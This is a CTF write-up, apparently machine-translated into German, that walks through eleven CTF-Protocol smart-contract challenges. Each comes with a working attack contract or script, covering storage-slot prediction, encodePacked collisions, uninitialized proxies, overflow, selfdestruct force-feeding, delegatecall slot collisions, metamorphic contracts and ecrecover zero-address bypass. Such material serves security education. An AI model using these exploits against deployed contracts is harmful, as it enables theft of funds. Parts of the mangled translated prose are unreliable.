[Blockchain Security-CTF Protocol] Blockchain Smart Contract Security Practice (abgeschlossen)

Vorwort

Diesmal soll das Thema CTF-PROTOCOL ausprobiert werden , ich hoffe, es mit Ihnen zu teilen. Später sollte ich auf die POC-Handschrift und Analyse einiger von DeFiHackLabs gestarteter Angriffsserien verweisen und gleichzeitig am Hackathon teilnehmen. Wir arbeiten hart!

1. Die verlorene Katze

Themenanalyse:

HiddenKittyCatKernstück des Vertrages ist:

    constructor() {
        _owner = msg.sender;
        bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

        assembly {
            sstore(slot, "KittyCat!")
        }
    }

Es kann bekannt sein, dass der Ort der Aufbewahrung von Kätzchen keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));durch bestimmt wird. Und wir Houseinteragieren mit dem Vertrag, einen nach dem anderen isKittyCatHere, generieren Kittyund suchen ihn.

Dieser Grund hängt ganz davon ab block.timestamp,block.number, ähnlich wie Ethernautin der flipflopcoin.

Nach Bereitstellung Housekommt der Vertrag zustande0xD50b65d0c843E70ab06666fEA69EC87Aa34581fB

Angriffsvertrag:

pragma solidity  ^0.8.0;

interface IHouse{
    function isKittyCatHere(bytes32 _slot) external;
}

contract KittyHacker {

    constructor() {

    }

    function hack(address house) public {
        bytes32 slot = 
            keccak256(
                abi.encodePacked(
                    block.timestamp, 
                    blockhash(block.number - 69)
                    )
            );
        IHouse(house).isKittyCatHere(slot);
    }

}

Nach der Bereitstellung soll der Angriffsvertrag 0x3791eeD6c8fedAf433C8ce53B8Fa69C11e0b237Deinen Angriff starten, und der Hash ist 0x6ced57a2de0f1dfe348f61b77e766d330a8c123cac2296cd61146796170940e9, der nach dem Angriff erfolgreich geändert wurde.


2. RootMe

Der zu beachtende Punkt ist das

accountByIdentifier[identifier] = msg.sender

Undidentifier = keccak256(abi.encodePacked(user, salt));

Denn abi.encodePackeddie Erklärung lautet wie folgt:

types shorter than 32 bytes are concatenated directly, without padding or sign extension

Daher kann , obwohl die Eingabe von , auch während der Bereitstellung den gleichen Effekt codieren ROOT.ROOTROOTROOT

Der Angriffsvertrag lautet wie folgt:

pragma solidity  ^0.8.0;

interface IRootMe{
    function register(string memory username, string memory salt) external;
    function write(bytes32 storageSlot, bytes32 data) external;

}

contract RootMeHacker {

    constructor(){

    }

    function testEncodePackedValue(string memory user, string memory salt) public pure returns (bytes memory) {
        bytes memory packed = abi.encodePacked(user, salt);
        return packed;
    }

    function attack(address target,bytes32  slot, bytes32  content) public{
        IRootMe(target).register("RO","OTROOT");
        IRootMe(target).write(slot,content);
    }
}

Die Adresse des Bereitstellungsvertrags lautet 0xb92F069Aec3Ae791fA717FFC0D9FAE73039bB1a5. Verwenden Sie zuerst testEncodePackedValueden Test hier Die Eingabe von ( ROOT, ROOT) ist eigentlich nur das Spleißen der Werte 0x524f4f54524f4f54, und Rder Ascii-Wert ist 82, was Hexihm entspricht 0x52.

Gleichzeitig registerholen wir zuerst die Berechtigung ein und writeschreiben dann 0000000000000000000000000000000000000000000000000000000000000000den Wert in den Slot 0000000000000000000000000000000000000000000000000000000000000001. (Denken Sie daran, dass Sie beim Übergeben von Parametern 0x voranstellen müssen). Modifikationen wurden nach dem Angriff abgeschlossen.


3. Betrüger

Getestet, wenn Sie JackpotProxydirekt mit interagieren, gibt es kein Hin und Her, warum?

Weil in JackpotProxy::constructor, erstellt _proxy, aber nicht initialisiert initialize. Wenn also claimPrize, ownerund aufgerufen wird msg.sender, stimmt dies nicht überein, sodass dies nicht möglich ist.

Wir Goerlisehen uns den Aufruf von Tx an , Sie können es bekommen JackPot=0x8Aa401B931C990DCA9D4d5EAbe67217e320D731C, und rufen Sie es direkt an JackPot::initialize, um den Besitz zu erlangen.

Geben Sie nach Erhalt 100000000000000wei ein und rufen Sie an JackPot::claimPrize. An diesem Punkt JackPotwurde das Guthaben geleert.


4. Das goldene Ticket

Vorläufige Beurteilung, ob eine Überlauf-Schwachstelle vorliegt waitlist[msg.sender] += uint40(_time);(nicht aktiviert). Hier gibt es ein Problem: VMDer Modus in remix lässt sich sowieso nicht aufrufen joinRaffleund meldet ständig Fehler Not Found. Aber es gibt kein Problem im Web3-Injector-Modus, ich kenne den Grund nicht. Denke es ist ein Bug?

pragma solidity  ^0.8.0;

interface IGoldenTicket{
    function joinWaitlist() external;
    function updateWaitTime(uint256) external;
    function joinRaffle(uint256) external;
    function giftTicket(address) external;
    function waitlist(address) external returns (uint40);
}

contract TheGoldenTicketHacker {
 
    constructor(){

    }

    function check(address _addr) public  returns (bool){
        return (IGoldenTicket(_addr).waitlist(address(this)) < block.timestamp );
    }

    function checkTimestamp() public view returns (uint256){
        return block.timestamp;
    }

    function attack(address _addr,address _to) public{
        IGoldenTicket(_addr).joinWaitlist();
        IGoldenTicket(_addr).updateWaitTime(type(uint40).max- IGoldenTicket(_addr).waitlist(address(this)) + 1 days);
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        IGoldenTicket(_addr).joinRaffle(randomNumber);
        IGoldenTicket(_addr).giftTicket(_to);
    }
}

5. Intelligenter Horrokrux

HorrocruxEs stellte sich heraus 魂器, dass ich es gelernt hatte.

Der Einstiegspunkt muss hier sein , wir analysieren destroyItdie Funktion unter der Annahme, dass die Eingabe wie folgt ist :callDataspell=111,magic=3calldata

0x60c4a9f1 // selector
0000000000000000000000000000000000000000000000000000000000000040 // 0x0 string index
0000000000000000000000000000000000000000000000000000000000000003 // 0x20 magic
0000000000000000000000000000000000000000000000000000000000000003 // 0x40 string length
3131310000000000000000000000000000000000000000000000000000000000 // string value
spellInBytes := mload(add(spell, 32))

Der obige Lesevorgang muss string value= 0x45746865724b6164616272610000000000000000000000000000000000000000(ASCII -> Bytes) sein, also sollte der Wert seinEtherKadabra

Und es muss (bytes4(bytes32(uint256(spellInBytes) - magic)))genau so sein kill(Selektor ist 0x41c0e1b5) (die eigentliche Berechnung sollte lauten, dass 56 0s später hinzugefügt werden müssen).magic=1674133761342824277929123818302714816965480662716616051558525647956333297664

Vergessen Sie dabei nicht, invinciblees auf false zu setzen. Dies erfordert, dass der Vertrag nur 1wei ist, was nur durch einen selbstzerstörenden Vertrag möglich ist, also müssen wir auch einen Vertrag schreiben. Der endgültige Angriffsvertrag lautet wie folgt:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface ISmartHorrocrux {
    function destroyIt(string memory,uint256) external;
    function setInvincible() external;
}

contract Bomb {

    constructor() {

    }

    fallback() external payable {

    }

    function destroy(address victim) public{
        selfdestruct(payable(victim));
    }


}

contract SmartHorrocruxHacker {

    ISmartHorrocrux victim;

    constructor(address target) payable{
        victim = ISmartHorrocrux(target);
    }


    function attack(string memory spell, uint256 magic) public{
        Bomb bomb = new Bomb();
        payable(address(bomb)).transfer(1);
        payable(address(victim)).call("");
        bomb.destroy(address(victim));
        victim.setInvincible();
        victim.destroyIt(spell,magic);
    }
}

Zu diesem Zeitpunkt sollte das Gas höher sein, da sonst outOfGas angezeigt wird.

PS: Das Remix-Erlebnis ist einfach schrecklich! Viel Zeit verschwendet!


6. Gasventil

Achten Sie auf diese Frage: model no. EIP-150, es gibt Erklärungen wie folgt:使用ADD这样的简单操作相对于复杂计算操作,例如用SHA256加密一个特定的数字,会消耗较少的gas。攻击者通过在他的交易合同中不断的使用某些特定的opcodes使得整个交易变得计算复杂却在网络上消耗极少的费用。

Problem hier

        try nozzle.insert() returns (bool result) {
            lastResult = result;
            return result;
        } catch {
            lastResult = false;
            return false;
        }

Wenn eine Ausnahme ausgelöst wird, wird sie als Fehler betrachtet, andernfalls result=falsewird sie direkt zurückgegeben.

Tatsächlich ist die Idee sehr einfach, wie kann man das alles konsumieren gas? Der Versuch, eine Schleife aufzurufen, bis die maximale Tiefe erreicht ist, schlägt fehl (löst eine Ausnahme aus). Wenn Sie sich Gas Refund ansehen , können Sie sehen, dass selfdestructes sofort ausgelöst wird, gasRefundohne eine Ausnahme auszulösen.

Der Angriffsvertrag lautet wie folgt:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ValveHacker {

    constructor() {

    }

    function insert() public returns (bool result) {
        selfdestruct(payable(msg.sender));
    }

}

7. Gestank

Das Problem ist, dass:

require(amountGMEin / ORACLE_TSLA_GME == amountTSLAout, "Invalid price");

Da es in Solidität keine Dezimalstellen gibt, führt dies zu einer Situation, in der die ganze Zahl durch 0 geteilt wird, das heißt, wenn 1/2=0Sie GMEsie umtauschen TSLA, können Sie sie gegen einen kleinen Betrag eintauschen, aber Sie können eigentlich nichts bekommen.

Zuerst wollte ich den Vertrag zum Angriff verwenden, aber später stellte ich fest, dass er zu Tode geschrieben wurde msg.sender, sodass ich ihn nur mit js schreiben konnte.

const abi = [
    "function buyTSLA(uint256 amountGMEin, uint256 amountTSLAout)",
    "function sellTSLA(uint256 amountTSLAin, uint256 amountGMEout)"
];

const addressStonk = '0x1552F5d5e9d31E51a412a8E5DA2b8F27040Dfb3a';
const contract= new ethers.Contract(addressStonk, abi, provider);

console.log(contract);

async function attack(){
    
    
    const tx1 = await contract.connect(hacker).sellTSLA(20,1000);
    await tx1.wait();
    console.log(tx1);

    for (i = 0 ;i < 50; i++){
    
    
        await contract.connect(hacker).buyTSLA(40,0);
    }
}

attack();

PS: Gaskiller!


8. Flusen

Es ist ein bisschen eingeschränkt require(msg.sender.code.length == 0, "Only EOA players");und muss implementieren IGameund handOfGod()funktionieren. Es wird angegeben, dass dies code.length=0aufgerufen wird, wenn die Prozedur erstellt wird passTheBall. Und auch durch delegateCallÄndern der Variablen im zweiten Steckplatz.

Hier scheint ein großes Loch zu sein! In remixscheinen die Blockhash-Ergebnisse unter verschiedenen Blöcken unterschiedlich zu sein? Ich habe es genau studiert:

所述block.number状态变量允许获得所述当前块的高度。当矿工获得执行合约代码的交易时,block.number该交易的未来区块的 的 是已知的,因此合约可以可靠地访问其价值。但是,在 EVM 中执行交易的那一刻,由于显而易见的原因,正在创建的区块的区块哈希尚不可知,并且 EVM 将始终产生零。

So:

        value = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
        value2 = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));

Die beiden obigen Ergebnisse sind gleich!

Der Angriffsvertrag lautet also wie folgt:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PelusaHacker {

    Exploit public exp;

    constructor() {

    }

    function attack(address target, address sender) public{

        while (true) {
            exp = new Exploit(target);
            if (uint256(uint160(address(exp))) % 100 == 10){
                break;
            }
        }
        exp.setParam(sender);
        exp.attack();

    }

}


contract Exploit {

    address public  fakeOwner;
    uint256 private shot = 0;
    address private target;

    constructor(address _target){
        target = _target;
        if (uint256(uint160(address(this))) % 100 == 10){
            IPelusa(target).passTheBall();
        }
    }

    function setParam(address sender) public {
        fakeOwner =  address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, bytes32(0))))));
    }

    function getBallPossesion() public view returns (address){
        return fakeOwner;
    }

    function handOfGod() public returns (uint256){
        shot = shot + 1;
        return 22061986;
    }

    function attack() public {
        IPelusa(target).shoot();
    }
}

interface IPelusa{
    function passTheBall() external;
    function shoot() external;
}

Beim Angriff sollten wir den Absender finden:"0xaa758e00eca745cab9232b207874999f55481951"

Denken Sie daran, gases ein wenig hochzuziehen. Infolgedessen scheint es im Testnetzwerk immer noch Probleme zu geben, und es wird nach dem erneuten Ausführen in Ordnung sein!


9. Hacke das Mutterschiff!

Das Problem tritt auf bei:

(bool success,) = module.delegatecall(msg.data);

Und tauchte modulewieder auf .spaceshipslot collision

Wir wollen hacked = true;, wir müssen zufrieden sein leader == msg.sender, also brauchen

promoteToLeader(address _leader), hier muss es genügen:

The proposed leader is a spaceship captain
	=> assignNewCaptainToShip(address _newCaptain) mothership
		=> askForNewCaptain(address _newCaptain) spaceship
        	=> _isCrewMember(address)
    => isLeaderApproved(address) => OK

Also unsere Überlegung:

  1. Für spaceship, setze es captainauf 0, füge dich hinzu fleet,askForNewCaptain
  2. addModuleÄndern Sie LeaderShipden Zeigevertrag direkt durch
  3. promoteToLeader

Weil alles bestanden werden muss, muss spaceshipalles überarbeitet werden.captain

Der Angriffsvertrag lautet wie folgt:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ShipHacker {

    IMotherShip public ship;
    FakeCaptain public captain;
    ISpaceShip public spaceship;

    constructor(address target) {
        ship = IMotherShip(target);
    }

    function fleet(uint256 x)  public{
        ship.fleet(x);
    }

    function attack() public{
        for (uint i = 0; i < 5; i++){
            spaceship = ISpaceShip(ship.fleet(i));
            captain = new FakeCaptain();
            spaceship.replaceCleaningCompany(address(0));
            spaceship.addAlternativeRefuelStationsCodes(uint256(uint160((address(captain)))));
            captain.attack(address(spaceship));
        }
        ship.promoteToLeader(address(captain));
        captain.hack(address(ship));
    }


}

contract FakeCaptain {

    constructor() {

    }

    function hack(address _ship) external {
        IMotherShip(_ship).hack();
    }

    function attack(address _spaceship) public {
        ISpaceShip(_spaceship).askForNewCaptain(address(this));
        ISpaceShip(_spaceship).addModule(ISpaceShip.isLeaderApproved.selector,address(this));
    }


    function isLeaderApproved(address) external pure {

    }
}

interface IMotherShip{
    function hack() external;
    function promoteToLeader(address _leader) external;
    function fleet(uint256) external returns (address);
}

interface ISpaceShip{
    function askForNewCaptain(address _newCaptain) external;
    function addModule(bytes4 _moduleSig, address _moduleAddress) external;
    function replaceCleaningCompany(address _cleaningCompany) external;
    function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external;
    function isLeaderApproved(address) external pure;
}

10. Phönix

        assembly {
            x := create2(0, add(_code, 0x20), mload(_code), 0)
        }
        addr = x;

Beachten Sie genau, dies ist der Metamorphische Vertrag.

5860208158601c335a63aaf10f428752fa158151803b80938091923cf3,这串bytecode的原理是staticcall调用getImplementation方法,获取implementation合约地址,再用extcodecopy把implementation合约的runtime bytecode复制到memory,做为当前部署合约的runtime bytecode,以此来动态替换合约的runtime bytecode,而合约地址又不变。

Daher zerstören wir zuerst den Vertrag selbst (manuell) und ändern dann den logischen Vertrag (abgeschlossen durch Angriff auf den Vertrag)!

通过`capture`手动销毁

Angriffsvertrag:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract PhoenixttoHacker {

    constructor(){

    }

    function attack(address _target) public{
        ILab(_target).reBorn(type(Phoenixtto2).creationCode);
    }

    fallback() external payable {

    }
}

contract Phoenixtto2 {
    address public owner;
    bool private _isBorn;

    function reBorn() external {
        if (_isBorn) return;

        _isBorn = true;
        owner = PLAYER_ADDRESS;
    }

    function capture(string memory _newOwner) external {
        if (!_isBorn || msg.sender != tx.origin) return;

        address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
        if (newOwner == msg.sender) {
            owner = newOwner;
        } else {
            selfdestruct(payable(msg.sender));
            _isBorn = false;
        }
    }
}

interface ILab{
    function reBorn(bytes memory _code) external;
}

11. Metaverse-Supermarkt

buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature)

Hier werden oraclePrice und Signatur getrennt, nur wissen, dass es eine Signatur gibt, wer weiß, ob sie signiert ist? Das Problem ist

ecrecover could return address(0) in case of an error!

Und wir haben nichts Oraclemit Initialisierung zu tun! Es ist also recovered == oraclenatürlich festgelegt, wir können es nach Belieben ausfüllen.

Vertrag angreifen

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;


struct OraclePrice {
    uint256 blockNumber;
    uint256 price;
}

struct Signature {
    uint8 v;
    bytes32 r;
    bytes32 s;
}


contract InflatStoreHacker {

    constructor() {

    }

    function attack(address store) public{
        OraclePrice memory price = OraclePrice(block.number,0);
        Signature memory sig = Signature(27, 0, 0);
        IInflaStore s = IInflaStore(store);
        IMeal meal = IMeal(s.meal());
        for (uint i = 0; i< 10; i++){
            s.buyUsingOracle(price,sig);
            meal.transferFrom(address(this),0x4fd74AF56b8843b07A30DE799174AEc8ad8DF577,i);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return InflatStoreHacker.onERC721Received.selector;
    }

}

interface IInflaStore{
    function meal() external returns (address);
    function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external;
}

interface IMeal {
    function transferFrom(address,address,uint256) external;
}

Herausforderung abgeschlossen!

Supongo que te gusta

Origin blog.csdn.net/weixin_43982484/article/details/130300133
Recomendado
Clasificación